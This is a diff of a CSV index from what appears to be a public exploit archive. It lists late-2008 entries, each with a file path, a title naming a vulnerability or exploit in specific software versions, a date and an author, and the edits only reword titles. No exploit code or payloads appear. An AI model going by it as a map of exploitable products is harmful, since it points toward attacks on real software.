 7051,platforms/windows/local/7051.pl,"VLC Media Player < 0.9.6 .RT Stack Buffer Overflow Exploit",2008-11-07,SkD,windows,local,0
 7052,platforms/php/webapps/7052.txt,"Domain Seller Pro 1.5 (id) Remote SQL Injection Vulnerability",2008-11-07,TR-ShaRk,php,webapps,0
-7053,platforms/php/webapps/7053.txt,"Myiosoft EasyBookMarker v4 (Parent) SQL Injection Vulnerability",2008-11-07,G4N0K,php,webapps,0
+7053,platforms/php/webapps/7053.txt,"Myiosoft EasyBookMarker 4 - (Parent) SQL Injection Vulnerability",2008-11-07,G4N0K,php,webapps,0
 7054,platforms/windows/local/7054.txt,"Anti-Keylogger Elite 3.3.0 (AKEProtect.sys) Privilege Escalation Exploit",2008-11-07,"NT Internals",windows,local,0
 7055,platforms/hardware/remote/7055.txt,"SpeedStream 5200 Authentication Bypass Config Download Vulnerability",2008-11-07,hkm,hardware,remote,0
 7056,platforms/windows/remote/7056.rb,"GE Proficy Real Time Information Portal Credentials Leak Sniffer (meta)",2008-11-08,"Kevin Finisterre",windows,remote,0
@@ -6619,20 +6619,20 @@ id,file,description,date,author,platform,type,port
 7058,platforms/php/webapps/7058.txt,"zeeproperty 1.0 (Upload/XSS) Multiple Remote Vulnerabilities",2008-11-08,ZoRLu,php,webapps,0
 7059,platforms/php/webapps/7059.txt,"Enthusiast 3.1.4 (show_joined.php path) Remote File Inclusion Vuln",2008-11-08,BugReport.IR,php,webapps,0
 7060,platforms/hardware/dos/7060.txt,"2WIRE DSL Router (xslt) Denial of Service Vulnerability",2008-11-08,hkm,hardware,dos,0
-7061,platforms/php/webapps/7061.txt,"V3 Chat Profiles/Dating Script 3.0.2 (Auth Bypass) SQL Injection Vuln",2008-11-08,d3b4g,php,webapps,0
+7061,platforms/php/webapps/7061.txt,"V3 Chat Profiles/Dating Script 3.0.2 - (Auth Bypass) SQL Injection Vuln",2008-11-08,d3b4g,php,webapps,0
 7062,platforms/php/webapps/7062.txt,"ZEEJOBSITE 2.0 Remote File Upload Vulnerability",2008-11-08,ZoRLu,php,webapps,0
-7063,platforms/php/webapps/7063.txt,"V3 Chat - Profiles/Dating Script 3.0.2 Insecure Cookie Handling Vuln",2008-11-08,Stack,php,webapps,0
+7063,platforms/php/webapps/7063.txt,"V3 Chat - Profiles/Dating Script 3.0.2 - Insecure Cookie Handling Vuln",2008-11-08,Stack,php,webapps,0
 7064,platforms/php/webapps/7064.pl,"Mambo Component n-form (form_id) Blind SQL Injection Exploit",2008-11-08,boom3rang,php,webapps,0
 7065,platforms/php/webapps/7065.txt,"Cyberfolio <= 7.12.2 (css.php theme) Local File Inclusion Vulnerability",2008-11-08,dun,php,webapps,0
 7066,platforms/php/webapps/7066.txt,"Zeeways Shaadi Clone 2.0 Auth Bypass Vulnerability",2008-11-08,G4N0K,php,webapps,0
 7067,platforms/asp/webapps/7067.txt,"DigiAffiliate <= 1.4 (Auth Bypass) SQL Injection Vulnerability",2008-11-08,d3b4g,asp,webapps,0
 7068,platforms/php/webapps/7068.txt,"Mole Group Airline Ticket Script (Auth Bypass) SQL Injection Vuln",2008-11-08,Cyber-Zone,php,webapps,0
-7069,platforms/php/webapps/7069.txt,"V3 Chat Live Support 3.0.4 Insecure Cookie Handling Vulnerability",2008-11-08,Cyber-Zone,php,webapps,0
+7069,platforms/php/webapps/7069.txt,"V3 Chat Live Support 3.0.4 - Insecure Cookie Handling Vulnerability",2008-11-08,Cyber-Zone,php,webapps,0
 7070,platforms/php/webapps/7070.txt,"Zeeways PHOTOVIDEOTUBE 1.1 Auth Bypass Vulnerability",2008-11-08,Stack,php,webapps,0
 7071,platforms/php/webapps/7071.txt,"ExoPHPDesk 1.2 Final (Auth Bypass) SQL Injection Vulnerability",2008-11-09,Cyber-Zone,php,webapps,0
 7072,platforms/php/webapps/7072.txt,"ZEEMATRI 3.0 (bannerclick.php adid) SQL Injection Vulnerability",2008-11-09,"Hussin X",php,webapps,0
 7074,platforms/php/webapps/7074.txt,"X10media Mp3 Search Engine <= 1.6 Remote File Disclosure Vulnerability",2008-11-09,THUNDER,php,webapps,0
-7075,platforms/jsp/webapps/7075.txt,"Openfire Server <= 3.6.0a  (Auth Bypass/SQL/XSS) Multiple Vulnerabilities",2008-11-09,"Andreas Kurtz",jsp,webapps,0
+7075,platforms/jsp/webapps/7075.txt,"Openfire Server <= 3.6.0a (Auth Bypass/SQL/XSS) Multiple Vulnerabilities",2008-11-09,"Andreas Kurtz",jsp,webapps,0
 7076,platforms/php/webapps/7076.txt,"Collabtive 0.4.8 (XSS/Auth Bypass/Upload) Multiple Vulnerabilities",2008-11-10,USH,php,webapps,0
 7077,platforms/php/webapps/7077.txt,"OTManager CMS 2.4 (Tipo) Remote File Inclusion Vulnerability",2008-11-10,Colt7r,php,webapps,0
 7078,platforms/php/webapps/7078.txt,"Joomla Component JooBlog 0.1.1 (PostID) SQL Injection Vulnerability",2008-11-10,boom3rang,php,webapps,0
@@ -6724,10 +6724,10 @@ id,file,description,date,author,platform,type,port
 7171,platforms/multiple/local/7171.txt,"PHP 5.2.6 (error_log) safe_mode Bypass Vulnerability",2008-11-20,SecurityReason,multiple,local,0
 7172,platforms/php/webapps/7172.txt,"NatterChat 1.1 (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-20,Bl@ckbe@rD,php,webapps,0
 7173,platforms/php/webapps/7173.php,"PHP-Fusion 7.00.1 (messages.php) Remote SQL Injection Exploit",2008-11-20,irk4z,php,webapps,0
-7174,platforms/php/webapps/7174.txt,"vBulletin 3.7.3 Visitor Message XSS/XSRF + worm Exploit",2008-11-20,Mx,php,webapps,0
+7174,platforms/php/webapps/7174.txt,"vBulletin 3.7.3 - Visitor Message CSRF + Worm Exploit",2008-11-20,Mx,php,webapps,0
 7175,platforms/php/webapps/7175.txt,"Natterchat 1.12 (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-20,Stack,php,webapps,0
 7176,platforms/php/webapps/7176.txt,"ToursManager (tourview.php tourid) Blind SQL Injection Vulnerability",2008-11-20,XaDoS,php,webapps,0
-7177,platforms/linux/local/7177.c,"Oracle Database Vault  ptrace(2) Privilege Escalation Exploit",2008-11-20,"Jakub Wartak",linux,local,0
+7177,platforms/linux/local/7177.c,"Oracle Database Vault ptrace(2) Privilege Escalation Exploit",2008-11-20,"Jakub Wartak",linux,local,0
 7178,platforms/windows/dos/7178.txt,"BitDefender (module pdf.xmd) Infinite Loop Denial of Service PoC",2008-11-20,ProTeuS,windows,dos,0
 7179,platforms/php/webapps/7179.txt,"NatterChat 1.1 Remote Admin Bypass Vulnerability",2008-11-20,Stack,php,webapps,0
 7180,platforms/php/webapps/7180.txt,"VCalendar (VCalendar.mdb) Remote Database Disclosure Vulnerability",2008-11-20,Swan,php,webapps,0
@@ -6756,8 +6756,8 @@ id,file,description,date,author,platform,type,port
 7208,platforms/php/webapps/7208.txt,"NetArtMedia Real Estate Portal 1.2 (ad_id) SQL Injection Vuln",2008-11-24,"Hussin X",php,webapps,0
 7209,platforms/windows/dos/7209.pl,"W3C Amaya 10.1 Web Browser (URL Bar) Remote Stack Overflow PoC",2008-11-24,r0ut3r,windows,dos,0
 7210,platforms/php/webapps/7210.txt,"Goople Cms 1.7 Arbitrary Code Execution Vulnerability",2008-11-24,x0r,php,webapps,0
-7211,platforms/php/webapps/7211.php,"VideoScript 3.0 <= 4.0.1.50 Official Shell Injection Exploit",2008-11-24,G4N0K,php,webapps,0
-7212,platforms/php/webapps/7212.php,"VideoScript 3.0 <= 4.1.5.55 Unofficial Shell Injection Exploit",2008-11-24,G4N0K,php,webapps,0
+7211,platforms/php/webapps/7211.php,"VideoScript 3.0 <= 4.0.1.50 - Official Shell Injection Exploit",2008-11-24,G4N0K,php,webapps,0
+7212,platforms/php/webapps/7212.php,"VideoScript 3.0 <= 4.1.5.55 - Unofficial Shell Injection Exploit",2008-11-24,G4N0K,php,webapps,0
 7213,platforms/windows/dos/7213.pl,"W3C Amaya 10.1 Web Browser (id) Remote Stack Overflow PoC",2008-11-24,r0ut3r,windows,dos,0
 7214,platforms/php/webapps/7214.txt,"FTPzik (XSS/LFI) Multiple Remote Vulnerabilities",2008-11-24,JiKo,php,webapps,0
 7215,platforms/php/webapps/7215.txt,"Bandwebsite 1.5 (SQL/XSS) Multiple Remote Vulnerabilities",2008-11-24,ZoRLu,php,webapps,0
@@ -6809,7 +6809,7 @@ id,file,description,date,author,platform,type,port
 7261,platforms/php/webapps/7261.txt,"Basic PHP CMS (index.php id) Blind SQL Injection Vulnerability",2008-11-28,"CWH Underground",php,webapps,0
 7262,platforms/windows/dos/7262.pl,"Microsoft Office Communicator (SIP) Remote Denial of Service Exploit",2008-11-28,"Praveen Darshanam",windows,dos,0
 7263,platforms/php/webapps/7263.txt,"Booking Centre 2.01 (Auth Bypass) SQL Injection Vulnerability",2008-11-28,MrDoug,php,webapps,0
-7264,platforms/windows/local/7264.txt,"Apache Tomcat  runtime.getRuntime().exec() Privilege Escalation (win)",2008-11-28,Abysssec,windows,local,0
+7264,platforms/windows/local/7264.txt,"Apache Tomcat runtime.getRuntime().exec() Privilege Escalation (win)",2008-11-28,Abysssec,windows,local,0
 7265,platforms/php/webapps/7265.txt,"Web Calendar System <= 3.40 (XSS/SQL) Multiple Remote Vulnerabilities",2008-11-28,Bl@ckbe@rD,php,webapps,0
 7266,platforms/php/webapps/7266.pl,"All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit",2008-11-28,StAkeR,php,webapps,0
 7267,platforms/php/webapps/7267.txt,"SailPlanner 0.3a (Auth Bypass) SQL Injection Vulnerability",2008-11-28,JiKo,php,webapps,0
@@ -6817,7 +6817,7 @@ id,file,description,date,author,platform,type,port
 7269,platforms/php/webapps/7269.pl,"CMS little (index.php term) Remote SQL Injection Exploit",2008-11-28,"CWH Underground",php,webapps,0
 7270,platforms/php/webapps/7270.txt,"ReVou Twitter Clone (Auth Bypass) SQL Injection Vulnerability",2008-11-28,R3d-D3v!L,php,webapps,0
 7271,platforms/php/webapps/7271.txt,"Ocean12 FAQ Manager Pro (ID) Blind SQL Injection Vulnerabillity",2008-11-28,Stack,php,webapps,0
-7273,platforms/asp/webapps/7273.txt,"Active Force Matrix v2 (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
+7273,platforms/asp/webapps/7273.txt,"Active Force Matrix 2 - (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
 7274,platforms/asp/webapps/7274.txt,"ASPReferral 5.3 (AccountID) Blind SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
 7275,platforms/asp/webapps/7275.txt,"ActiveVotes 2.2 (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
 7276,platforms/asp/webapps/7276.txt,"Active Test 2.1 (Auth Bypass) Remote SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
@@ -6833,7 +6833,7 @@ id,file,description,date,author,platform,type,port
 7286,platforms/php/webapps/7286.txt,"OraMon 2.0.1 Remote Config File Disclosure Vulnerability",2008-11-29,ahmadbady,php,webapps,0
 7287,platforms/asp/webapps/7287.txt,"ActiveVotes 2.2 (AccountID) Blind SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
 7288,platforms/asp/webapps/7288.txt,"Active Web Mail v 4 Blind SQL Injection Vulnerability",2008-11-29,R3d-D3v!L,asp,webapps,0
-7289,platforms/php/webapps/7289.txt,"Active Price Comparison v4 (ProductID) Blind SQL Injection Vulnerability",2008-11-30,R3d-D3v!L,php,webapps,0
+7289,platforms/php/webapps/7289.txt,"Active Price Comparison 4 - (ProductID) Blind SQL Injection Vulnerability",2008-11-30,R3d-D3v!L,php,webapps,0
 7290,platforms/php/webapps/7290.txt,"Active Bids 3.5 (ItemID) Blind SQL Injection Vulnerability",2008-11-29,Stack,php,webapps,0
 7291,platforms/php/webapps/7291.pl,"OpenForum 0.66 Beta Remote Reset Admin Password Exploit",2008-11-29,"CWH Underground",php,webapps,0
 7292,platforms/asp/webapps/7292.txt,"ASPThai.NET Forum 8.5 Remote Database Disclosure Vulnerability",2008-11-29,"CWH Underground",asp,webapps,0
@@ -6853,11 +6853,11 @@ id,file,description,date,author,platform,type,port
 7306,platforms/php/webapps/7306.txt,"Minimal Ablog 0.4 (SQL/FU/Bypass) Multiple Remote Vulnerabilities",2008-11-30,NoGe,php,webapps,0
 7307,platforms/windows/dos/7307.txt,"Electronics Workbench (EWB File) Local Stack Overflow PoC",2008-11-30,Zigma,windows,dos,0
 7308,platforms/php/webapps/7308.txt,"cpCommerce 1.2.6 (URL Rewrite) Input variable overwrite / Auth bypass",2008-11-30,girex,php,webapps,0
-7309,platforms/windows/local/7309.pl,"Cain & Abel <= v4.9.24 .RDP Stack Overflow Exploit",2008-11-30,SkD,windows,local,0
+7309,platforms/windows/local/7309.pl,"Cain & Abel <= 4.9.24 - .RDP Stack Overflow Exploit",2008-11-30,SkD,windows,local,0
 7310,platforms/php/webapps/7310.txt,"Broadcast Machine 0.1 Multiple Remote File Inclusion Vulnerabilities",2008-11-30,NoGe,php,webapps,0
 7311,platforms/php/webapps/7311.txt,"z1exchange 1.0 (edit.php site) Remote SQL Injection Vulnerability",2008-12-01,JiKo,php,webapps,0
 7312,platforms/php/webapps/7312.txt,"Andy's PHP Knowledgebase 0.92.9 Arbitrary File Upload Vulnerability",2008-12-01,"CWH Underground",php,webapps,0
-7313,platforms/linux/local/7313.sh,"Debian GNU/Linux (symlink attack in login)  Arbitrary File Ownership PoC",2008-12-01,"Paul Szabo",linux,local,0
+7313,platforms/linux/local/7313.sh,"Debian GNU/Linux (symlink attack in login) Arbitrary File Ownership PoC",2008-12-01,"Paul Szabo",linux,local,0
 7314,platforms/windows/dos/7314.txt,"Maxum Rumpus 6.0 Multiple Remote Buffer Overflow Vulnerabilities",2008-12-01,"BLUE MOON",windows,dos,0
 7315,platforms/php/webapps/7315.txt,"E.Z. Poll v.2 (Auth Bypass) Remote SQL Injection Vulnerability",2008-12-01,t0fx,php,webapps,0
 7316,platforms/asp/webapps/7316.txt,"ASPPortal 3.2.5 (ASPPortal.mdb) Database Disclosure Vulnreability",2008-12-01,"CWH Underground",asp,webapps,0
@@ -6906,7 +6906,7 @@ id,file,description,date,author,platform,type,port
 7361,platforms/asp/webapps/7361.txt,"ASP PORTAL (xportal.mdb) Remote Database Disclosure Vulnerability",2008-12-06,ZoRLu,asp,webapps,0
 7362,platforms/windows/dos/7362.py,"DesignWorks Professional 4.3.1 Local .CCT File Stack BOF PoC",2008-12-06,Cnaph,windows,dos,0
 7363,platforms/php/webapps/7363.txt,"phpPgAdmin <= 4.2.1 (_language) Local File Inclusion Vulnerability",2008-12-06,dun,php,webapps,0
-7364,platforms/php/webapps/7364.php,"IPNPro3 <= 1.44 Admin Password Changing Exploit",2008-12-07,G4N0K,php,webapps,0
+7364,platforms/php/webapps/7364.php,"IPNPro3 <= 1.44 - Admin Password Changing Exploit",2008-12-07,G4N0K,php,webapps,0
 7365,platforms/php/webapps/7365.php,"DL PayCart <= 1.34 Admin Password Changing Exploit",2008-12-07,G4N0K,php,webapps,0
 7366,platforms/php/webapps/7366.php,"Bonza Cart <= 1.10 Admin Password Changing Exploit",2008-12-07,G4N0K,php,webapps,0
 7367,platforms/php/webapps/7367.php,"PayPal eStore Admin Password Changing Exploit",2008-12-07,G4N0K,php,webapps,0
@@ -6924,14 +6924,14 @@ id,file,description,date,author,platform,type,port
 7379,platforms/php/webapps/7379.txt,"MG2 0.5.1 (filename) Remote Code Execution Vulnerability",2008-12-08,"Alfons Luja",php,webapps,0
 7380,platforms/php/webapps/7380.txt,"XOOPS 2.3.1 Multiple Local File Inclusion Vulnerabilities",2008-12-08,DSecRG,php,webapps,0
 7381,platforms/php/webapps/7381.txt,"SIU Guarani Multiple Remote Vulnerabilities",2008-12-08,"Ubik & proudhon",php,webapps,0
-7382,platforms/php/webapps/7382.txt,"phpMyAdmin 3.1.0 (XSRF) SQL Injection Vulnerability",2008-12-08,"Michael Brooks",php,webapps,0
+7382,platforms/php/webapps/7382.txt,"phpMyAdmin 3.1.0 - (CSRF) SQL Injection Vulnerability",2008-12-08,"Michael Brooks",php,webapps,0
 7383,platforms/php/webapps/7383.txt,"Simple Directory Listing 2 Cross Site File Upload Vulnerability",2008-12-08,"Michael Brooks",php,webapps,0
-7384,platforms/windows/remote/7384.txt,"XAMPP 1.6.8 (XSRF) Change Administrative Password Exploit",2008-12-08,"Michael Brooks",windows,remote,0
-7385,platforms/php/webapps/7385.txt,"Secure Downloads v2.0.0r for vBulletin SQL Injection Vulnerability",2008-12-08,Cnaph,php,webapps,0
+7384,platforms/windows/remote/7384.txt,"XAMPP 1.6.8 - (CSRF) Change Administrative Password Exploit",2008-12-08,"Michael Brooks",windows,remote,0
+7385,platforms/php/webapps/7385.txt,"vBulletin Secure Downloads 2.0.0r - SQL Injection Vulnerability",2008-12-08,Cnaph,php,webapps,0
 7386,platforms/php/webapps/7386.pl,"phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit",2008-12-08,StAkeR,php,webapps,0
 7387,platforms/windows/dos/7387.py,"Neostrada Livebox Router Remote Network Down PoC Exploit",2008-12-08,0in,windows,dos,0
 7388,platforms/php/webapps/7388.txt,"WebCAF <= 1.4 (LFI/RCE) Multiple Remote Vulnerabilities",2008-12-08,dun,php,webapps,0
-7389,platforms/hardware/remote/7389.htm,"DD-WRT v24-sp1 (XSRF) Cross Site Reference Forgery Exploit",2008-12-08,"Michael Brooks",hardware,remote,0
+7389,platforms/hardware/remote/7389.htm,"DD-WRT v24-sp1 - (CSRF) Cross Site Reference Forgery Exploit",2008-12-08,"Michael Brooks",hardware,remote,0
 7390,platforms/asp/webapps/7390.txt,"Professional Download Assistant 0.1 (Auth Bypass) SQL Injection Vuln",2008-12-09,ZoRLu,asp,webapps,0
 7391,platforms/asp/webapps/7391.txt,"Poll Pro 2.0 (Auth Bypass) Remote SQL Injection Vulnerability",2008-12-09,AlpHaNiX,asp,webapps,0
 7392,platforms/php/webapps/7392.txt,"PHPmyGallery 1.0beta2 (RFI/LFI) Multiple Remote Vulnerabilities",2008-12-09,ZoRLu,php,webapps,0
@@ -6950,7 +6950,7 @@ id,file,description,date,author,platform,type,port
 7406,platforms/php/webapps/7406.php,"eZ Publish < 3.9.5/3.10.1/4.0.1 Privilege Escalation Exploit",2008-12-10,s4avrd0w,php,webapps,0
 7407,platforms/php/webapps/7407.txt,"Webmaster Marketplace (member.php u) SQL Injection Vulnerability",2008-12-10,"Hussin X",php,webapps,0
 7408,platforms/php/webapps/7408.txt,"Living Local 1.1 (XSS-RFU) Multiple Remote Vulnerabilities",2008-12-10,Bgh7,php,webapps,0
-7409,platforms/php/webapps/7409.txt,"Pro Chat Rooms 3.0.2  (XSS/CSRF) Multiple Vulnerabilities",2008-12-10,ZynbER,php,webapps,0
+7409,platforms/php/webapps/7409.txt,"Pro Chat Rooms 3.0.2 (XSS/CSRF) Multiple Vulnerabilities",2008-12-10,ZynbER,php,webapps,0
 7410,platforms/windows/remote/7410.htm,"MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day",2008-12-10,muts,windows,remote,0
 7411,platforms/php/webapps/7411.txt,"Butterfly Organizer 2.0.1 (view.php id) SQL Injection Vulnerability",2008-12-10,Osirys,php,webapps,0
 7412,platforms/asp/webapps/7412.txt,"CF SHOPKART 5.2.2 (SQL/DD) Multiple Remote Vulnerabilities",2008-12-10,AlpHaNiX,asp,webapps,0
@@ -6986,7 +6986,7 @@ id,file,description,date,author,platform,type,port
 7442,platforms/windows/remote/7442.txt,"TmaxSoft JEUS Alternate Data Streams File Disclosure Vulnerability",2008-12-12,"Simon Ryeo",windows,remote,0
 7443,platforms/php/webapps/7443.txt,"FlexPHPNews 0.0.6 & PRO (Auth Bypass) SQL Injection Vulnerability",2008-12-14,Osirys,php,webapps,0
 7444,platforms/php/webapps/7444.txt,"Simple Text-File Login script 1.0.6 (DD/RFI) Multiple Vulnerabilities",2008-12-14,Osirys,php,webapps,0
-7445,platforms/asp/webapps/7445.txt,"Discussion Web v4 Remote Database Disclosure Vulnerability",2008-12-14,Pouya_Server,asp,webapps,0
+7445,platforms/asp/webapps/7445.txt,"Discussion Web 4 - Remote Database Disclosure Vulnerability",2008-12-14,Pouya_Server,asp,webapps,0
 7446,platforms/asp/webapps/7446.txt,"ASPired2Quote (quote.mdb) Remote Database Disclosure Vulnerability",2008-12-14,Pouya_Server,asp,webapps,0
 7447,platforms/asp/webapps/7447.txt,"ASP-DEV Internal E-Mail System (Auth Bypass) SQL Injection Vuln",2008-12-14,Pouya_Server,asp,webapps,0
 7448,platforms/php/webapps/7448.txt,"AutositePHP 2.0.3 (LFI/CSRF/Edit File) Multiple Remote Vulnerabilities",2008-12-14,SirGod,php,webapps,0
@@ -7000,12 +7000,12 @@ id,file,description,date,author,platform,type,port
 7456,platforms/php/webapps/7456.txt,"Availscript Article Script Remote File Upload Vulnerability",2008-12-14,S.W.A.T.,php,webapps,0
 7457,platforms/php/webapps/7457.txt,"Availscript Classmate Script Remote File Upload Vulnerability",2008-12-14,S.W.A.T.,php,webapps,0
 7458,platforms/php/webapps/7458.txt,"Mediatheka 4.2 (index.php lang) Local File Inclusion Vulnerability",2008-12-14,Osirys,php,webapps,0
-7459,platforms/php/webapps/7459.txt,"CFAGCMS v1 Remote File Inclusion Vulnerabilities",2008-12-14,BeyazKurt,php,webapps,0
+7459,platforms/php/webapps/7459.txt,"CFAGCMS 1- Remote File Inclusion Vulnerabilities",2008-12-14,BeyazKurt,php,webapps,0
 7460,platforms/windows/dos/7460.html,"EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC",2008-12-14,Bl@ckbe@rD,windows,dos,0
 7461,platforms/php/webapps/7461.txt,"Flatnux html/javascript Injection Cookie Grabber Exploit",2008-12-14,gmda,php,webapps,0
 7462,platforms/asp/webapps/7462.txt,"ASPSiteWare Home Builder 1.0/2.0 SQL Injection Vulnerability",2008-12-14,AlpHaNiX,asp,webapps,0
-7463,platforms/php/webapps/7463.txt,"ASPSiteWare Automotive Dealer V1/V2 SQL Injection Vulnerability",2008-12-14,AlpHaNiX,php,webapps,0
-7464,platforms/asp/webapps/7464.txt,"ASPSiteWare RealtyListing V1/V2 SQL Injection Vulnerabilities",2008-12-14,AlpHaNiX,asp,webapps,0
+7463,platforms/php/webapps/7463.txt,"ASPSiteWare Automotive Dealer 1.0 & 2.0 - SQL Injection Vulnerability",2008-12-14,AlpHaNiX,php,webapps,0
+7464,platforms/asp/webapps/7464.txt,"ASPSiteWare RealtyListing 1.0 & 2.0 - SQL Injection Vulnerabilities",2008-12-14,AlpHaNiX,asp,webapps,0
 7465,platforms/php/webapps/7465.txt,"IsWeb CMS 3.0 (SQL/XSS) Multiple Remote Vulnerabilities",2008-12-14,XaDoS,php,webapps,0
 7466,platforms/asp/webapps/7466.txt,"Forest Blog 1.3.2 (blog.mdb) Remote Database Disclosure Vulnerability",2008-12-15,"Cold Zero",asp,webapps,0
 7467,platforms/multiple/dos/7467.txt,"Amaya Web Browser 10.0.1/10.1-pre5 (html tag) Buffer Overflow PoC",2008-12-15,webDEViL,multiple,dos,0
@@ -7024,7 +7024,7 @@ id,file,description,date,author,platform,type,port
 7480,platforms/php/webapps/7480.txt,"CadeNix (cid) Remote SQL Injection Vulnerability",2008-12-15,HaCkeR_EgY,php,webapps,0
 7481,platforms/php/webapps/7481.txt,"WorkSimple 1.2.1 RFI / Sensitive Data Disclosure Vulnerabilities",2008-12-15,Osirys,php,webapps,0
 7482,platforms/php/webapps/7482.txt,"Aperto Blog 0.1.1 Local File Inclusion / SQL Injection Vulnerabilities",2008-12-15,NoGe,php,webapps,0
-7483,platforms/php/webapps/7483.txt,"CFAGCMS v1 (right.php title) SQL Injection Vulnerability",2008-12-15,ZoRLu,php,webapps,0
+7483,platforms/php/webapps/7483.txt,"CFAGCMS 1 - (right.php title) SQL Injection Vulnerability",2008-12-15,ZoRLu,php,webapps,0
 7484,platforms/asp/webapps/7484.txt,"Click&BaneX Multiple Remote SQL Injection Vulnerabilities",2008-12-15,AlpHaNiX,asp,webapps,0
 7485,platforms/asp/webapps/7485.txt,"ClickAndEmaiL (SQL/XSS) Multiple Remote Vulnerabilities",2008-12-15,AlpHaNiX,asp,webapps,0
 7486,platforms/asp/webapps/7486.txt,"Click&Rank (SQL/XSS) Multiple Remote Vulnerabilities",2008-12-15,AlpHaNiX,asp,webapps,0
@@ -7037,12 +7037,12 @@ id,file,description,date,author,platform,type,port
 7493,platforms/php/webapps/7493.txt,"Liberum Help Desk 0.97.3 (SQL/DD) Remote Vulnerabilities",2008-12-16,"Cold Zero",php,webapps,0
 7494,platforms/php/webapps/7494.txt,"Zelta E Store (RFU/BYPASS/R-SQL/B-SQL) Multiple Vulnerabilities",2008-12-16,ZoRLu,php,webapps,0
 7495,platforms/asp/webapps/7495.txt,"Gnews Publisher .NET (authors.asp authorID) SQL Injection Vulnerability",2008-12-16,AlpHaNiX,asp,webapps,0
-7496,platforms/hardware/remote/7496.txt,"Barracuda Spam Firewall v3.5.11.020, Model 600 SQL Injection Vuln",2008-12-16,"Marian Ventuneac",hardware,remote,0
+7496,platforms/hardware/remote/7496.txt,"Barracuda Spam Firewall 3.5.11.020, Model 600 - SQL Injection Vuln",2008-12-16,"Marian Ventuneac",hardware,remote,0
 7497,platforms/php/webapps/7497.txt,"RSMScript 1.21 XSS/Insecure Cookie Handling Vulnerabilities",2008-12-17,Osirys,php,webapps,0
 7499,platforms/asp/webapps/7499.txt,"BP Blog 6.0/7.0/8.0/9.0 Remote Database Disclosure Vulnerability",2008-12-17,Dxil,asp,webapps,0
 7500,platforms/php/webapps/7500.txt,"K&S Shopsysteme Arbitrary Remote File Upload Vulnerability",2008-12-17,mNt,php,webapps,0
 7501,platforms/windows/local/7501.asp,"Microsoft SQL Server sp_replwritetovarbin() Heap Overflow Exploit",2008-12-17,"Guido Landi",windows,local,0
-7502,platforms/php/webapps/7502.txt,"r.cms v2 Multiple SQL Injection Vulnerabilities",2008-12-17,Lidloses_Auge,php,webapps,0
+7502,platforms/php/webapps/7502.txt,"r.cms 2.0 - Multiple SQL Injection Vulnerabilities",2008-12-17,Lidloses_Auge,php,webapps,0
 7503,platforms/multiple/local/7503.txt,"PHP python extension safe_mode Bypass Local Vulnerability",2008-12-17,"Amir Salmani",multiple,local,0
 7504,platforms/php/webapps/7504.txt,"Joomla Component Tech Article 1.x (item) SQL Injection Vulnerability",2008-12-17,InjEctOr5,php,webapps,0
 7505,platforms/windows/remote/7505.html,"Phoenician Casino FlashAX ActiveX Remote Code Execution Exploit",2008-12-17,e.wiZz!,windows,remote,0
@@ -7050,9 +7050,9 @@ id,file,description,date,author,platform,type,port
 7507,platforms/php/webapps/7507.pl,"Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit",2008-12-17,StAkeR,php,webapps,0
 7508,platforms/asp/webapps/7508.txt,"QuickerSite Easy CMS (QuickerSite.mdb) Database Disclosure Vulnerability",2008-12-17,AlpHaNiX,asp,webapps,0
 7509,platforms/php/webapps/7509.txt,"Mini File Host 1.x Arbitrary PHP File Upload Vulnerability",2008-12-18,Pouya_Server,php,webapps,0
-7510,platforms/php/webapps/7510.txt,"2532|Gigs 1.2.2 Stable Multiple Remote Vulnerabilities",2008-12-18,Osirys,php,webapps,0
-7511,platforms/php/webapps/7511.txt,"2532|Gigs 1.2.2 Stable Remote Login Bypass Vulnerability",2008-12-18,StAkeR,php,webapps,0
-7512,platforms/php/webapps/7512.php,"2532|Gigs 1.2.2 Stable Remote Command Execution Exploit",2008-12-18,StAkeR,php,webapps,0
+7510,platforms/php/webapps/7510.txt,"2532/Gigs 1.2.2 - Stable Multiple Remote Vulnerabilities",2008-12-18,Osirys,php,webapps,0
+7511,platforms/php/webapps/7511.txt,"2532/Gigs 1.2.2 - Stable Remote Login Bypass Vulnerability",2008-12-18,StAkeR,php,webapps,0
+7512,platforms/php/webapps/7512.php,"2532/Gigs 1.2.2 - Stable Remote Command Execution Exploit",2008-12-18,StAkeR,php,webapps,0
 7513,platforms/php/webapps/7513.txt,"Calendar Script 1.1 Insecure Cookie Handling Vulnerability",2008-12-18,Osirys,php,webapps,0
 7514,platforms/php/webapps/7514.txt,"I-Rater Basic (messages.php) Remote SQL Injection Vulnerability",2008-12-18,boom3rang,php,webapps,0
 7515,platforms/php/webapps/7515.txt,"Phpclanwebsite <= 1.23.3 Fix Pack #5 Multiple Remote Vulnerabilities",2008-12-18,s4avrd0w,php,webapps,0
@@ -7128,7 +7128,7 @@ id,file,description,date,author,platform,type,port
 7585,platforms/windows/dos/7585.txt,"MS Windows Media Player * (.WAV) Remote Crash PoC",2008-12-28,"laurent gaffié ",windows,dos,0
 7586,platforms/php/webapps/7586.txt,"Miniweb 2.0 (Auth Bypass) SQL Injection Vulnerability",2008-12-28,bizzit,php,webapps,0
 7587,platforms/php/webapps/7587.txt,"Joomla Component PAX Gallery 0.1 Blind SQL Injection Vulnerability",2008-12-28,XaDoS,php,webapps,0
-7589,platforms/windows/dos/7589.pl,"BulletProof FTP Client (.bps File)  Local Stack Overflow PoC",2008-12-28,Stack,windows,dos,0
+7589,platforms/windows/dos/7589.pl,"BulletProof FTP Client (.bps File) Local Stack Overflow PoC",2008-12-28,Stack,windows,dos,0
 7592,platforms/windows/dos/7592.pl,"Hex Workshop 5.1.4 (Color Mapping File) Local Buffer Overflow PoC",2008-12-28,Encrypt3d.M!nd,windows,dos,0
